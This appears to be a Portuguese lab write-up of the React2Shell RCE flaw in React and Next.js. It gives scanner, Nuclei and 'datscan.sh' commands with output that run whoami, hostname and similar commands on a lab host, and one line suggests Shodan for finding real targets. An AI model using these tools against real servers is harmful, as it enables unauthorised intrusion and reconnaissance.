
Exploração da vulnerabilidade de segurança CVE-2025-55182
O CVE-2025-55182, também conhecido como React2Shell, é uma vulnerabilidade crítica de execução remota de código (RCE) que afeta o React Server Components (RSC). Ele usa o protocolo Flight para comunicação entre cliente e servidor. Quando o cliente solicita dados, o servidor recebe um payload e o analisa, o que pode permitir que um invasor insira estruturas maliciosas ou trechos de código arbitrários que o React aceita como válidos.
| Item | Conteúdo |
|---|---|
| Nível | Critical (CVSS 10.0) |
| Tipo | Desserialização insegura (CWE-502) |
| Método de ataque | Remoto, sem autenticação necessária |
| Versões afetadas: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 e Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
O servidor processa payloads do cliente sem validação adequada, permitindo que o atacante:
A exploração ativa desta vulnerabilidade foi detectada desde 5 de dezembro de 2025. A maioria das explorações bem-sucedidas originou-se de avaliações de grupos de ataque. Ambos os ambientes Windows e Linux são afetados.
Instalação
pip install -r requirements.txt
Escanear um servidor vulnerável:
python3 scanner.py -u https://example.com
Insira o caminho a ser escaneado (aqui inseri minha máquina vulnerável: http://192.168.10.1:3000)
Resultado obtido:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
Escanear lista de servidores:
python3 scanner.py -l hosts.txt
Escanear com várias threads e salvar os resultados:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Escanear com cabeçalhos personalizados:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Escanear alvos Windows:
python3 scanner.py -u https://example.com --windows
Usar o método de detecção de canal lateral seguro:
python3 scanner.py -u https://example.com --safe-check
Como você pode ver, estamos lidando com uma vulnerabilidade de segurança, o que significa que o servidor que disponibilizamos é facilmente atacado por um invasor.
Agora usaremos o Nuclei para verificar se o servidor acima possui alguma vulnerabilidade com PoC. Esse recurso funciona enviando solicitações personalizadas, reduzindo falsos positivos e suportando varredura paralela.
nuclei -t scan.yaml -u http://192.168.10.1:3000
Resultado alcançado
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
O sistema detectou que este servidor está vulnerável e pode ser explorado pela vulnerabilidade CVE-2025-55182. E a partir disso, você pode ver que é uma vulnerabilidade bastante perigosa e importante, com muitos PoCs já disponíveis nas plataformas sociais. ☺☺☺
Você pode ver que apenas essas informações já são suficientes para confirmar a vulnerabilidade de segurança existente no aplicativo acima. Para provar que este aplicativo pode ser explorado para executar um comando ou código remotamente, começarei o PoC.
chmod +x scanner.sh
# Check xem đối phương có vulnerable ko
./datscan.sh -d example.com
# Thực thi lệnh kiểm tra user hiện tại
./datscan.sh -d example.com -c "whoami"
# With full URL
./datscan.sh -d example.com -c "uname -a"
Significado:
Retorna o usuário atual que está executando o processo do servidor
Ajuda a identificar:
=> Este é o comando mais básico para confirmar o sucesso do RCE
-d, --domain - domain/URL-c, --command - Comando a ser executado (ex.: whoami, hostname,...)# Check xem tên máy
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Xác định phiên bản hệ điều hành
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Kiểm tra command execution có hoạt động ổn định không
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
Esta é a etapa de reconhecimento inicial após a exploração bem-sucedida.
Ajuda a confirmar: RCE funcionando, identificar o sistema operacional,...
Como estou demonstrando este experimento em um ambiente de laboratório pessoal para evitar problemas legais, o uso de cabeçalhos HTTP para roubo de dados, saídas grandes ou caracteres especiais pode causar:
ERR_INVALID_CHAR
Comandos curtos (por exemplo: whoami, ver) são mais confiáveis para ilustrar no ambiente de teste acima.
Se não quiser, você pode usar o Shodan para verificar endereços IP diretamente no ambiente real e fazer como no meu experimento acima para explorar (não recomendado).
Como observado acima. Esta ferramenta é destinada apenas a fins educacionais e testes de segurança autorizados. Não use esta ferramenta para testar sistemas que você não possui ou não tem permissão para testar.
| Significado dos comandos executados | Conteúdo |
|---|
| Retorna o nome do host (host name) | Usado para: - identificar o sistema afetado - auxiliar no movimento lateral (lateral movement) em ambientes internos |
| Determina a versão do sistema operacional | Importante para: - avaliar a possibilidade de exploração adicional (privilege escalation) - escolher o exploit adequado |
| Testa a execução de comandos | Usado para depurar payload / scanner |
| Retorna o nome de usuário atual | Neste caso: -usuário é ADMIN → pode ter privilégios altos - Mais importante que whoami em alguns casos no Windows |
| Retorna o nome do host | Retorna o nome do host por meio da variável de ambiente |